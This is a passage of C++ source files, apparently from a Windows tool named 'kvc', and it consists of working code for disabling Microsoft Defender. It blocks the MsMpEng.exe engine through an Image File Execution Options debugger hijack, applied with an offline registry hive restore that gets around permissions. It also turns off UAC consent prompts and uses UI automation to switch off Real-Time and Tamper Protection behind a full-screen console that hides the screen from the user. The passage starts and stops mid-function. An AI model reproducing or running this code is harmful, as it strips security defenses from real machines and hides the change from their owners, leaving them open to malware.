        std::wcout << L"[!] Warning: RegUnLoadKey(TempIFEO) failed\n";

    // Force-restore the modified hive over the live IFEO subtree.
    HKEY hIfeo = nullptr;
    if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, IFEO_KEY,
                      0, KEY_WRITE, &hIfeo) != ERROR_SUCCESS) {
        std::wcout << L"[!] Cannot open IFEO key for restore\n";
        return false;
    }

    LONG r = RegRestoreKeyW(hIfeo, ctx.hiveFile.c_str(), REG_FORCE_RESTORE);
    RegCloseKey(hIfeo);
    if (r != ERROR_SUCCESS) {
        std::wcout << L"[!] RegRestoreKey failed: " << r << L"\n";
        return false;
    }

    return true;
}

// ============================================================================
// PRIVATE — SERVICE & PROCESS HELPERS
// ============================================================================

bool DefenderManager::StartWinDefend() noexcept
{
    SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
    if (!hSCM) return false;

    SC_HANDLE hSvc = OpenServiceW(hSCM, WINDEFEND_SVC,
                                  SERVICE_START | SERVICE_QUERY_STATUS);
    if (!hSvc) {
        CloseServiceHandle(hSCM);
        return false;
    }

    bool ok = StartServiceW(hSvc, 0, nullptr)
           || GetLastError() == ERROR_SERVICE_ALREADY_RUNNING;

    CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);
    return ok;
}

bool DefenderManager::IsMsMpEngRunning() noexcept
{
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap == INVALID_HANDLE_VALUE) return false;

    PROCESSENTRY32W pe{ sizeof(pe) };
    bool found = false;
    if (Process32FirstW(hSnap, &pe)) {
        do {
            if (_wcsicmp(pe.szExeFile, L"MsMpEng.exe") == 0) {
                found = true;
                break;
            }
        } while (Process32NextW(hSnap, &pe));
    }
    CloseHandle(hSnap);
    return found;
}

bool DefenderManager::IsWinDefendRunning() noexcept
{
    SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
    if (!hSCM) return false;

    SC_HANDLE hSvc = OpenServiceW(hSCM, WINDEFEND_SVC, SERVICE_QUERY_STATUS);
    if (!hSvc) { CloseServiceHandle(hSCM); return false; }

    SERVICE_STATUS ss{};
    bool running = QueryServiceStatus(hSvc, &ss)
                && ss.dwCurrentState == SERVICE_RUNNING;

    CloseServiceHandle(hSvc);
    CloseServiceHandle(hSCM);
    return running;
}

// ============================================================================
// HIVE CONTEXT CLEANUP
// ============================================================================

void DefenderManager::HiveContext::Cleanup() noexcept
{
    if (hiveFile.empty()) return;

    for (const auto& path : {
            hiveFile,
            hiveFile + L".LOG1",
            hiveFile + L".LOG2",
            hiveFile + L".blf" }) {
        DeleteFileW(path.c_str());
    }

    // Remove CLFS transaction files created by RegLoadKey/RegUnLoadKey.
    // They live in the same directory as the hive file and are named
    // <hivefilename>{GUID}.TM.blf and <hivefilename>{GUID}.TMContainer*.regtrans-ms.
    try {
        const fs::path hiveDir  = fs::path(hiveFile).parent_path();
        const std::wstring base = fs::path(hiveFile).filename().wstring();
        for (const auto& entry : fs::directory_iterator(hiveDir)) {
            const std::wstring fname = entry.path().filename().wstring();
            if (fname.size() > base.size() &&
                _wcsnicmp(fname.c_str(), base.c_str(), base.size()) == 0 &&
                fname[base.size()] == L'{') {
                DeleteFileW(entry.path().c_str());
            }
        }
    } catch (...) {}
}

<<<FILE: kvc/DefenderManager.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-04-02 22:06:00
Size:     4.08 KB
// DefenderManager.h
// Windows Defender engine control via IFEO registry manipulation.
//
// disable: offline hive edit adds Debugger=systray.exe to MsMpEng.exe IFEO key.
//          Windows loader intercepts every subsequent launch — restart required
//          because the engine is already running.
// enable:  offline hive edit removes the Debugger block, then starts WinDefend
//          via SCM so the engine re-launches immediately — no restart needed.
//
// Both operations use RegSaveKeyEx → RegLoadKey(TempIFEO) → edit →
// RegUnLoadKey → RegRestoreKey(REG_FORCE_RESTORE) to bypass the DACL on the
// IFEO subtree.  Only SE_BACKUP_NAME + SE_RESTORE_NAME are required.

#pragma once

#include <windows.h>
#include <string>
#include <vector>

class DefenderManager {
public:
    // Coarse summary for the status display.
    enum class SecurityState {
        ACTIVE,         // Engine running, no IFEO block
        IFEO_BLOCKED,   // Debugger intercept set — engine dead or will die after restart
        INACTIVE,       // WinDefend stopped, no IFEO block (another AV or manual stop)
        NOT_INSTALLED,  // WinDefend service absent
        UNKNOWN
    };

    // Rich point-in-time snapshot returned by QueryStatus().
    struct DefenderStatus {
        SecurityState   state;
        bool            ifeoBlocked;        // Debugger value present on MsMpEng.exe IFEO key
        bool            winDefendRunning;   // WinDefend service in SERVICE_RUNNING state
        bool            msmpengRunning;     // MsMpEng.exe process visible in snapshot
        std::wstring    ifeoDebugger;       // Current Debugger value, empty if not set
    };

    // Offline IFEO edit — adds Debugger block.  Restart required to take full effect.
    static bool DisableSecurityEngine() noexcept;

    // Offline IFEO edit — removes Debugger block, then starts WinDefend via SCM.
    static bool EnableSecurityEngine() noexcept;

    // Full three-part status query (IFEO + service + process).
    static DefenderStatus QueryStatus() noexcept;

    // Derived single-value state for callers that only need a summary.
    static SecurityState GetSecurityEngineStatus() noexcept;

private:
    // RAII holder for the temporary hive file and associated transaction artefacts.
    struct HiveContext {
        std::wstring tempPath;
        std::wstring hiveFile;

        HiveContext()  = default;
        ~HiveContext() { Cleanup(); }
        HiveContext(const HiveContext&)            = delete;
        HiveContext& operator=(const HiveContext&) = delete;
        HiveContext(HiveContext&&)                 = default;
        HiveContext& operator=(HiveContext&&)      = default;

        void Cleanup() noexcept;
    };

    // Enable SE_BACKUP_NAME + SE_RESTORE_NAME on the current token.
    static bool EnableRequiredPrivileges() noexcept;

    // Save HKLM\IFEO_KEY → hiveFile, load as HKLM\TempIFEO.
    static bool CreateIFEOSnapshot(HiveContext& ctx) noexcept;

    // Create or remove HKLM\TempIFEO\MsMpEng.exe Debugger value.
    static bool ModifyMsMpEngIFEO(const HiveContext& ctx, bool addBlock) noexcept;

    // Unload TempIFEO, restore hiveFile → HKLM\IFEO_KEY (REG_FORCE_RESTORE).
    static bool RestoreIFEOSnapshot(const HiveContext& ctx) noexcept;

    // Open SCM and call StartService on WinDefend.
    static bool StartWinDefend() noexcept;

    // Snapshot process list and look for MsMpEng.exe.
    static bool IsMsMpEngRunning() noexcept;

    // Query WinDefend service status.
    static bool IsWinDefendRunning() noexcept;

    // Registry path constants.
    static constexpr const wchar_t* IFEO_KEY =
        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options";
    static constexpr const wchar_t* MSMPENG_SUBKEY =
        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\MsMpEng.exe";
    static constexpr const wchar_t* TEMP_HIVE_NAME  = L"TempIFEO";
    static constexpr const wchar_t* DEBUGGER_VALUE  = L"Debugger";
    static constexpr const wchar_t* DEBUGGER_PAYLOAD = L"systray.exe";
    static constexpr const wchar_t* WINDEFEND_SVC   = L"WinDefend";
};

<<<FILE: kvc/DefenderStealth.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:18
Size:     7.55 KB
// DefenderStealth.cpp
// Console window management and UAC bypass for Windows Defender automation

#include "DefenderStealth.h"
#include <iostream>

#define DEBUG_LOGGING_ENABLED 0

#if DEBUG_LOGGING_ENABLED
    #define DEBUG_LOG(msg) std::wcout << msg << L"\n"
#else
    #define DEBUG_LOG(msg) ((void)0)
#endif

static HWND g_hConsole = NULL;
static HWND g_hTaskbar = NULL;
static WINDOWPLACEMENT g_originalPlacement = { sizeof(WINDOWPLACEMENT) };
static bool g_isTopmost = false;
static bool g_taskbarHidden = false;

// ============================================================================
// Taskbar Management
// ============================================================================

bool DefenderStealth::HideTaskbar() {
    g_hTaskbar = FindWindowW(L"Shell_TrayWnd", nullptr);
    if (!g_hTaskbar) return false;
    
    if (IsWindowVisible(g_hTaskbar)) {
        ShowWindow(g_hTaskbar, SW_HIDE);
        g_taskbarHidden = true;
        DEBUG_LOG(L"Taskbar hidden");
        return true;
    }
    return false;
}

bool DefenderStealth::ShowTaskbar() {
    if (!g_hTaskbar || !g_taskbarHidden) return false;
    
    ShowWindow(g_hTaskbar, SW_SHOW);
    g_taskbarHidden = false;
    DEBUG_LOG(L"Taskbar restored");
    return true;
}

// ============================================================================
// Console Window Management - TOPMOST Approach
// ============================================================================

bool DefenderStealth::SetConsoleTopmost() {
    g_hConsole = GetConsoleWindow();
    if (!g_hConsole) return false;
    
    // Save original state only on first call
    if (!g_isTopmost) {
        GetWindowPlacement(g_hConsole, &g_originalPlacement);
        g_isTopmost = true;
    }
    
    // Maximize and set TOPMOST to cover everything
    ShowWindow(g_hConsole, SW_SHOWMAXIMIZED);
    SetWindowPos(g_hConsole, HWND_TOPMOST, 0, 0, 0, 0, 
                 SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
    
    return true;
}

bool DefenderStealth::RestoreConsoleNormal() {
    if (!g_hConsole || !g_isTopmost) return false;
    
    // Remove TOPMOST and restore original window state
    SetWindowPos(g_hConsole, HWND_NOTOPMOST, 0, 0, 0, 0, 
                 SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
    SetWindowPlacement(g_hConsole, &g_originalPlacement);
    
    g_isTopmost = false;
    return true;
}

// ============================================================================
// Registry Helpers
// ============================================================================

bool DefenderStealth::ReadRegistryDword(const wchar_t* valueName, DWORD& outValue, bool& existed) {
    HKEY hKey;
    LONG result = RegOpenKeyExW(HKEY_LOCAL_MACHINE, UAC_REGISTRY_PATH, 0, KEY_READ, &hKey);
    
    if (result != ERROR_SUCCESS) {
        existed = false;
        return false;
    }

    DWORD type = REG_DWORD;
    DWORD size = sizeof(DWORD);
    result = RegQueryValueExW(hKey, valueName, nullptr, &type, (LPBYTE)&outValue, &size);
    RegCloseKey(hKey);
    
    existed = (result == ERROR_SUCCESS && type == REG_DWORD);
    return existed;
}

bool DefenderStealth::WriteRegistryDword(const wchar_t* valueName, DWORD value) {
    HKEY hKey;
    LONG result = RegOpenKeyExW(HKEY_LOCAL_MACHINE, UAC_REGISTRY_PATH, 0, KEY_WRITE, &hKey);
    
    if (result != ERROR_SUCCESS) return false;

    result = RegSetValueExW(hKey, valueName, 0, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hKey);
    return (result == ERROR_SUCCESS);
}

bool DefenderStealth::DeleteRegistryValue(const wchar_t* valueName) {
    HKEY hKey;
    LONG result = RegOpenKeyExW(HKEY_LOCAL_MACHINE, UAC_REGISTRY_PATH, 0, KEY_WRITE, &hKey);
    
    if (result != ERROR_SUCCESS) return false;

    result = RegDeleteValueW(hKey, valueName);
    RegCloseKey(hKey);
    return (result == ERROR_SUCCESS);
}

// ============================================================================
// UAC Logic
// ============================================================================

DWORD DefenderStealth::EncodeUACStatus(DWORD cpba, bool cpbaExisted, DWORD posd, bool posdExisted) {
    DWORD encoded = 0;
    encoded |= (cpbaExisted ? (cpba & 0xFF) : KEY_NOT_EXISTED);
    encoded |= ((posdExisted ? (posd & 0xFF) : KEY_NOT_EXISTED) << 8);
    return encoded;
}

void DefenderStealth::DecodeUACStatus(DWORD encoded, DWORD& cpba, bool& cpbaExisted, DWORD& posd, bool& posdExisted) {
    BYTE cpbaByte = encoded & 0xFF;
    BYTE posdByte = (encoded >> 8) & 0xFF;
    
    cpbaExisted = (cpbaByte != KEY_NOT_EXISTED);
    cpba = cpbaExisted ? cpbaByte : 0;
    
    posdExisted = (posdByte != KEY_NOT_EXISTED);
    posd = posdExisted ? posdByte : 0;
}

bool DefenderStealth::BackupAndDisableUAC() {
    DEBUG_LOG(L"Backing up and disabling UAC prompts");
    
    DWORD cpba = 0, posd = 0;
    bool cpbaExisted = false, posdExisted = false;
    
    ReadRegistryDword(L"ConsentPromptBehaviorAdmin", cpba, cpbaExisted);
    ReadRegistryDword(L"PromptOnSecureDesktop", posd, posdExisted);
    
    DWORD encoded = EncodeUACStatus(cpba, cpbaExisted, posd, posdExisted);
    if (!WriteRegistryDword(UAC_BACKUP_KEY, encoded)) return false;
    
    bool success = true;
    success &= WriteRegistryDword(L"ConsentPromptBehaviorAdmin", 0);
    success &= WriteRegistryDword(L"PromptOnSecureDesktop", 0);
    
    return success;
}

bool DefenderStealth::RestoreUAC() {
    DEBUG_LOG(L"Restoring original UAC settings");
    
    DWORD encoded = 0;
    bool backupExisted = false;
    
    if (!ReadRegistryDword(UAC_BACKUP_KEY, encoded, backupExisted) || !backupExisted) return false;
    
    DWORD cpba = 0, posd = 0;
    bool cpbaExisted = false, posdExisted = false;
    DecodeUACStatus(encoded, cpba, cpbaExisted, posd, posdExisted);
    
    if (cpbaExisted) WriteRegistryDword(L"ConsentPromptBehaviorAdmin", cpba);
    else DeleteRegistryValue(L"ConsentPromptBehaviorAdmin");
    
    if (posdExisted) WriteRegistryDword(L"PromptOnSecureDesktop", posd);
    else DeleteRegistryValue(L"PromptOnSecureDesktop");
    
    DeleteRegistryValue(UAC_BACKUP_KEY);
    return true;
}

bool DefenderStealth::RecoverUACIfNeeded() {
    DWORD encoded = 0;
    bool backupExisted = false;
    if (ReadRegistryDword(UAC_BACKUP_KEY, encoded, backupExisted) && backupExisted) {
        std::wcout << L"[*] Found incomplete UAC backup, restoring\n";
        return RestoreUAC();
    }
    return true;
}

// ============================================================================
// Volatile Registry Marker (Session Persistence)
// ============================================================================

bool DefenderStealth::CheckVolatileWarmMarker() {
    HKEY hKey;
    LONG result = RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\kvc\\WinDefCtl", 0, KEY_READ, &hKey);
    
    if (result != ERROR_SUCCESS) {
        return false;
    }

    DWORD value;
    DWORD size = sizeof(DWORD);
    result = RegQueryValueExW(hKey, L"DefenderWarmed", nullptr, nullptr, (LPBYTE)&value, &size);
    RegCloseKey(hKey);
    
    return (result == ERROR_SUCCESS);
}

bool DefenderStealth::SetVolatileWarmMarker() {
    HKEY hKey;
    DWORD disposition;
    
    // Volatile key disappears on logout/reboot
    LONG result = RegCreateKeyExW(
        HKEY_CURRENT_USER,
        L"Software\\kvc\\WinDefCtl",
        0,
        NULL,
        REG_OPTION_VOLATILE,
        KEY_WRITE,
        NULL,
        &hKey,
        &disposition
    );
    
    if (result != ERROR_SUCCESS) {
        return false;
    }

    DWORD marker = 1;
    result = RegSetValueExW(hKey, L"DefenderWarmed", 0, REG_DWORD, (LPBYTE)&marker, sizeof(DWORD));
    RegCloseKey(hKey);
    
    return (result == ERROR_SUCCESS);
}

<<<FILE: kvc/DefenderStealth.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:20
Size:     1.21 KB
// DefenderStealth.h
// Console window management, UAC bypass, and session persistence for Windows Defender automation

#pragma once

#include <windows.h>

#define UAC_REGISTRY_PATH L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"
#define UAC_BACKUP_KEY L"kvc_UACBackup"
#define KEY_NOT_EXISTED 0xFF

namespace DefenderStealth {
    // Console window management (TOPMOST approach)
    bool SetConsoleTopmost();
    bool RestoreConsoleNormal();
    
    // Taskbar management
    bool HideTaskbar();
    bool ShowTaskbar();
    
    // UAC management
    bool BackupAndDisableUAC();
    bool RestoreUAC();
    bool RecoverUACIfNeeded();
    
    // Registry helpers
    bool ReadRegistryDword(const wchar_t* valueName, DWORD& outValue, bool& existed);
    bool WriteRegistryDword(const wchar_t* valueName, DWORD value);
    bool DeleteRegistryValue(const wchar_t* valueName);
    
    // UAC encoding/decoding
    DWORD EncodeUACStatus(DWORD cpba, bool cpbaExisted, DWORD posd, bool posdExisted);
    void DecodeUACStatus(DWORD encoded, DWORD& cpba, bool& cpbaExisted, DWORD& posd, bool& posdExisted);
    
    // Session warm marker (volatile registry)
    bool CheckVolatileWarmMarker();
    bool SetVolatileWarmMarker();
}

<<<FILE: kvc/DefenderUI.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:18
Size:     18.57 KB
// DefenderUI.cpp
// UI Automation implementation for Windows Defender Real-Time Protection and Tamper Protection

#include "DefenderUI.h"
#include "DefenderStealth.h"
#include <shellapi.h>
#include <thread>
#include <chrono>
#include <iostream>

using namespace std::chrono_literals;

#define DEBUG_LOGGING_ENABLED 0

#if DEBUG_LOGGING_ENABLED
    #define DEBUG_LOG(msg) std::wcout << msg << L"\n"
#else
    #define DEBUG_LOG(msg) ((void)0)
#endif

#define INFO_LOG(msg) std::wcout << L"[*] " << msg << L"\n"
#define ERROR_LOG(msg) std::wcout << L"[-] " << msg << L"\n"

// ============================================================================
// Constructor / Destructor
// ============================================================================

WindowsDefenderAutomation::WindowsDefenderAutomation() {
    CoInitializeEx(nullptr, COINIT_MULTITHREADED);
    CoCreateInstance(CLSID_CUIAutomation, nullptr, CLSCTX_INPROC_SERVER, IID_IUIAutomation, (void**)&pAutomation);
    
    // Recover UAC if previous run crashed
    DefenderStealth::RecoverUACIfNeeded();
}

WindowsDefenderAutomation::~WindowsDefenderAutomation() {
    if (pRootElement) pRootElement->Release();
    if (pAutomation) pAutomation->Release();
    CoUninitialize();
}

// ============================================================================
// Window Finder
// ============================================================================

struct FindWindowData {
    HWND hWndFound;
};

BOOL CALLBACK EnumWindowsCallback(HWND hwnd, LPARAM lParam) {
    FindWindowData* data = (FindWindowData*)lParam;
    wchar_t className[256] = { 0 };

    if (GetClassNameW(hwnd, className, 256)) {
        if (wcscmp(className, L"ApplicationFrameWindow") == 0 && IsWindowVisible(hwnd)) {
            data->hWndFound = hwnd;
            return FALSE;
        }
    }
    return TRUE;
}

HWND WindowsDefenderAutomation::findSecurityWindow(int maxRetries) {
    FindWindowData data = { 0 };

    for (int i = 0; i < maxRetries; ++i) {
        EnumWindows(EnumWindowsCallback, (LPARAM)&data);
        if (data.hWndFound) {
            return data.hWndFound;
        }
        std::this_thread::sleep_for(100ms);
    }
    return NULL;
}

// ============================================================================
// Cold Boot Detection and Pre-Warming
// ============================================================================

bool WindowsDefenderAutomation::isColdBoot() {
    return !DefenderStealth::CheckVolatileWarmMarker();
}

bool WindowsDefenderAutomation::preWarmDefender() {
    INFO_LOG(L"Cold boot detected - pre-warming Windows Defender");
    
    // Console shield is already active from openDefenderSettings
    ShellExecuteW(nullptr, L"open", L"windowsdefender://threatsettings", 
                  nullptr, nullptr, SW_SHOWMINNOACTIVE);
    
    std::this_thread::sleep_for(800ms);
    
    HWND hwnd = findSecurityWindow(10);
    
    if (hwnd) {
        DEBUG_LOG(L"Pre-warm window found, waiting for full initialization");
        std::this_thread::sleep_for(800ms);
        
        SetForegroundWindow(hwnd);
        std::this_thread::sleep_for(100ms);
        
        DEBUG_LOG(L"Closing pre-warm window");
        SendMessage(hwnd, WM_SYSCOMMAND, SC_CLOSE, 0);
        
        // Wait for window to close
        bool closed = false;
        for (int i = 0; i < 30; i++) {
            if (!IsWindow(hwnd) || !IsWindowVisible(hwnd)) {
                closed = true;
                break;
            }
            std::this_thread::sleep_for(100ms);
        }
        
        if (!closed) {
            DEBUG_LOG(L"Retry close with PostMessage");
            PostMessage(hwnd, WM_CLOSE, 0, 0);
            std::this_thread::sleep_for(1000ms);
        }
        
        DefenderStealth::SetVolatileWarmMarker();
        DEBUG_LOG(L"Pre-warm complete");
        return true;
    }
    
    DEBUG_LOG(L"Pre-warm window not found, continuing anyway");
    return false;
}

// ============================================================================
// Open Defender Settings
// ============================================================================

bool WindowsDefenderAutomation::openDefenderSettings() {
    DEBUG_LOG(L"Opening Windows Defender");
    
    // Set console as shield FIRST - before anything else can flash on screen
    DefenderStealth::HideTaskbar();
    DefenderStealth::SetConsoleTopmost();

    if (isColdBoot()) {
        // Pre-warming now happens safely behind the console shield
        preWarmDefender();
        std::this_thread::sleep_for(800ms);
        
        // Re-apply topmost in case OS changed Z-order during pre-warm window close
        DefenderStealth::SetConsoleTopmost();
    }
    
    ShellExecuteW(nullptr, L"open", L"windowsdefender://threatsettings", nullptr, nullptr, SW_SHOWMINNOACTIVE);
    
    hwndSecurity = findSecurityWindow(10);

    if (!hwndSecurity || !waitForUILoaded(50)) { 
        ERROR_LOG(L"Failed to load Defender UI (timeout on slow system)");
        DefenderStealth::RestoreConsoleNormal();
        DefenderStealth::ShowTaskbar();
        return false;
    }
    return true;
}

bool WindowsDefenderAutomation::waitForUILoaded(int maxRetries) {
    for (int i = 0; i < maxRetries; ++i) {
        try {
            if (pRootElement) pRootElement->Release();
            HRESULT hr = pAutomation->ElementFromHandle(hwndSecurity, &pRootElement);
            
            if (SUCCEEDED(hr)) {
                if (countTotalElements() > 10) return true;
            }
        }
        catch (...) {}
        std::this_thread::sleep_for(100ms);
    }
    return false;
}

// ============================================================================
// UI Automation Helpers
// ============================================================================

IUIAutomationElement* WindowsDefenderAutomation::findFirstToggleSwitch() {
    IUIAutomationCondition* pCondition = nullptr;
    VARIANT var;
    var.vt = VT_I4;
    var.lVal = UIA_ButtonControlTypeId;
    pAutomation->CreatePropertyCondition(UIA_ControlTypePropertyId, var, &pCondition);

    IUIAutomationElementArray* pButtons = nullptr;
    if (!pRootElement) return nullptr;
    
    HRESULT hr = pRootElement->FindAll(TreeScope_Descendants, pCondition, &pButtons);
    pCondition->Release();

    if (FAILED(hr) || !pButtons) return nullptr;

    int count = 0;
    pButtons->get_Length(&count);

    for (int i = 0; i < count; ++i) {
        IUIAutomationElement* pButton = nullptr;
        pButtons->GetElement(i, &pButton);
        
        IUIAutomationTogglePattern* pToggle = nullptr;
        hr = pButton->GetCurrentPatternAs(UIA_TogglePatternId, IID_IUIAutomationTogglePattern, (void**)&pToggle);

        if (SUCCEEDED(hr) && pToggle != nullptr) {
            pToggle->Release();
            pButtons->Release();
            return pButton;
        }
        pButton->Release();
    }
    pButtons->Release();
    return nullptr;
}

IUIAutomationElement* WindowsDefenderAutomation::findLastToggleSwitch() {
    IUIAutomationCondition* pCondition = nullptr;
    VARIANT var;
    var.vt = VT_I4;
    var.lVal = UIA_ButtonControlTypeId;
    pAutomation->CreatePropertyCondition(UIA_ControlTypePropertyId, var, &pCondition);

    IUIAutomationElementArray* pButtons = nullptr;
    if (!pRootElement) return nullptr;

    HRESULT hr = pRootElement->FindAll(TreeScope_Descendants, pCondition, &pButtons);
    pCondition->Release();

    if (FAILED(hr) || !pButtons) return nullptr;

    int count = 0;
    pButtons->get_Length(&count);
    IUIAutomationElement* pLastToggle = nullptr;

    for (int i = 0; i < count; ++i) {
        IUIAutomationElement* pButton = nullptr;
        pButtons->GetElement(i, &pButton);
        
        IUIAutomationTogglePattern* pToggle = nullptr;
        hr = pButton->GetCurrentPatternAs(UIA_TogglePatternId, IID_IUIAutomationTogglePattern, (void**)&pToggle);

        if (SUCCEEDED(hr) && pToggle != nullptr) {
            pToggle->Release();
            if (pLastToggle) pLastToggle->Release();
            pLastToggle = pButton;
        } else {
            pButton->Release();
        }
    }
    pButtons->Release();
    return pLastToggle;
}

int WindowsDefenderAutomation::countTotalElements() {
    if (!pRootElement) return 0;
    IUIAutomationCondition* pCondition = nullptr;
    pAutomation->CreateTrueCondition(&pCondition);
    
    IUIAutomationElementArray* pElements = nullptr;
    pRootElement->FindAll(TreeScope_Descendants, pCondition, &pElements);
    pCondition->Release();

    int count = 0;
    if (pElements) {
        pElements->get_Length(&count);
        pElements->Release();
    }
    return count;
}

bool WindowsDefenderAutomation::waitForStructureChange(int baselineCount, bool expectIncrease, int timeoutSeconds) {
    DEBUG_LOG(L"Waiting for UI structure change");
    int maxLoops = timeoutSeconds * 10;
    
    for (int i = 0; i < maxLoops; ++i) {
        int currentCount = countTotalElements();
        bool structureChanged = expectIncrease ? (currentCount > baselineCount) : (currentCount < baselineCount);

        if (structureChanged) {
            std::this_thread::sleep_for(200ms);
            int recheckCount = countTotalElements();
            bool stable = expectIncrease ? (recheckCount > baselineCount) : (recheckCount < baselineCount);
            
            if (stable) {
                DEBUG_LOG(L"UI structure change confirmed");
                return true;
            }
        }
        std::this_thread::sleep_for(100ms);
    }
    DEBUG_LOG(L"UI structure change timeout");
    return false;
}

// ============================================================================
// Close Security Window
// ============================================================================

void WindowsDefenderAutomation::closeSecurityWindow() {
    if (hwndSecurity) {
        SendMessage(hwndSecurity, WM_CLOSE, 0, 0);
    }
    
    // Restore console to normal state and clear screen
    DefenderStealth::RestoreConsoleNormal();
    DefenderStealth::ShowTaskbar();
    std::wcout << L"[*] Security window closed. Operation finished.\n";
}

// ============================================================================
// Real-Time Protection Operations
// ============================================================================

bool WindowsDefenderAutomation::toggleRealTimeProtection() {
    if (!DefenderStealth::BackupAndDisableUAC()) return false;
    
    IUIAutomationElement* pButton = findFirstToggleSwitch();
    if (!pButton) { DefenderStealth::RestoreUAC(); return false; }

    IUIAutomationTogglePattern* pToggle = nullptr;
    pButton->GetCurrentPatternAs(UIA_TogglePatternId, IID_IUIAutomationTogglePattern, (void**)&pToggle);

    bool result = false;
    if (pToggle) {
        ToggleState stateBefore;
        pToggle->get_CurrentToggleState(&stateBefore);
        int baseline = countTotalElements();

        pToggle->Toggle();
        pToggle->Release();
        pButton->Release();

        result = waitForStructureChange(baseline, (stateBefore == ToggleState_On));
        if (result) {
            if (stateBefore == ToggleState_On) {
                std::wcout << L"[+] Real-Time Protection disabled successfully\n";
            } else {
                std::wcout << L"[+] Real-Time Protection enabled successfully\n";
            }
        }
    } else {
        pButton->Release();
    }
    
    DefenderStealth::RestoreUAC();
    return result;
}

bool WindowsDefenderAutomation::enableRealTimeProtection() {
    if (!DefenderStealth::BackupAndDisableUAC()) return false;
    
    IUIAutomationElement* pButton = findFirstToggleSwitch();
    if (!pButton) { 
        DefenderStealth::RestoreUAC(); 
        return false; 
    }

    IUIAutomationTogglePattern* pToggle = nullptr;
    pButton->GetCurrentPatternAs(UIA_TogglePatternId, IID_IUIAutomationTogglePattern, (void**)&pToggle);

    bool result = true;
    if (pToggle) {
        ToggleState state;
        pToggle->get_CurrentToggleState(&state);
        
        if (state == ToggleState_Off) {
            int baseline = countTotalElements();
            pToggle->Toggle();
            pToggle->Release();
            pButton->Release();
            result = waitForStructureChange(baseline, false);
            if (result) {
                std::wcout << L"[+] Real-Time Protection enabled successfully\n";
            }
        } else {
            INFO_LOG(L"RTP already enabled");
            pToggle->Release();
            pButton->Release();
        }
    } else {
        pButton->Release();
        result = false;
    }
    
    DefenderStealth::RestoreUAC();
    return result;
}

bool WindowsDefenderAutomation::disableRealTimeProtection() {
    if (!DefenderStealth::BackupAndDisableUAC()) return false;
    
    IUIAutomationElement* pButton = findFirstToggleSwitch();
    if (!pButton) { DefenderStealth::RestoreUAC(); return false; }

    IUIAutomationTogglePattern* pToggle = nullptr;
    pButton->GetCurrentPatternAs(UIA_TogglePatternId, IID_IUIAutomationTogglePattern, (void**)&pToggle);

    bool result = true;
    if (pToggle) {
        ToggleState state;
        pToggle->get_CurrentToggleState(&state);
        
        if (state == ToggleState_On) {
            int baseline = countTotalElements();
            pToggle->Toggle();
            pToggle->Release();
            pButton->Release();
            result = waitForStructureChange(baseline, true);
            if (result) {
                std::wcout << L"[+] Real-Time Protection disabled successfully\n";
            }
        } else {
            INFO_LOG(L"RTP already disabled");
            pToggle->Release();
            pButton->Release();
        }
    } else {
        pButton->Release();
        result = false;
    }
    
    DefenderStealth::RestoreUAC();
    return result;
}

bool WindowsDefenderAutomation::getRealTimeProtectionStatus() {
    IUIAutomationElement* pButton = findFirstToggleSwitch();
    if (!pButton) return false;

    IUIAutomationTogglePattern* pToggle = nullptr;
    pButton->GetCurrentPatternAs(UIA_TogglePatternId, IID_IUIAutomationTogglePattern, (void**)&pToggle);

    bool isEnabled = false;
    if (pToggle) {
        ToggleState state;
        pToggle->get_CurrentToggleState(&state);
        isEnabled = (state == ToggleState_On);
        std::wcout << L"[*] RTP Status: " << (isEnabled ? L"ENABLED" : L"DISABLED") << L"\n";
        pToggle->Release();
    }
    pButton->Release();
    return isEnabled;
}

// ============================================================================
// Tamper Protection Operations
// ============================================================================

bool WindowsDefenderAutomation::toggleTamperProtection() {
    if (!DefenderStealth::BackupAndDisableUAC()) return false;
    
    IUIAutomationElement* pButton = findLastToggleSwitch();
    if (!pButton) { 
        DefenderStealth::RestoreUAC(); 
        return false; 
    }

    IUIAutomationTogglePattern* pToggle = nullptr;
    pButton->GetCurrentPatternAs(UIA_TogglePatternId, IID_IUIAutomationTogglePattern, (void**)&pToggle);

    bool result = false;
    if (pToggle) {
        ToggleState stateBefore;
        pToggle->get_CurrentToggleState(&stateBefore);
        int baseline = countTotalElements();

        pToggle->Toggle();
        pToggle->Release();
        pButton->Release();

        result = waitForStructureChange(baseline, (stateBefore == ToggleState_On));
        if (result) {
            if (stateBefore == ToggleState_On) {
                std::wcout << L"[+] Tamper Protection disabled successfully\n";
            } else {
                std::wcout << L"[+] Tamper Protection enabled successfully\n";
            }
        }
    } else {
        pButton->Release();
    }

    DefenderStealth::RestoreUAC();
    return result;
}

bool WindowsDefenderAutomation::enableTamperProtection() {
    if (!DefenderStealth::BackupAndDisableUAC()) return false;

    IUIAutomationElement* pButton = findLastToggleSwitch();
    if (!pButton) { 
        DefenderStealth::RestoreUAC(); 
        return false; 
    }

    IUIAutomationTogglePattern* pToggle = nullptr;
    pButton->GetCurrentPatternAs(UIA_TogglePatternId, IID_IUIAutomationTogglePattern, (void**)&pToggle);

    bool result = true;
    if (pToggle) {
        ToggleState state;
        pToggle->get_CurrentToggleState(&state);
        
        if (state == ToggleState_Off) {
            int baseline = countTotalElements();
            pToggle->Toggle();
            pToggle->Release();
            pButton->Release();
            result = waitForStructureChange(baseline, false);
            if (result) {
                std::wcout << L"[+] Tamper Protection enabled successfully\n";
            }
        } else {
            INFO_LOG(L"Tamper Protection already enabled");
            pToggle->Release();
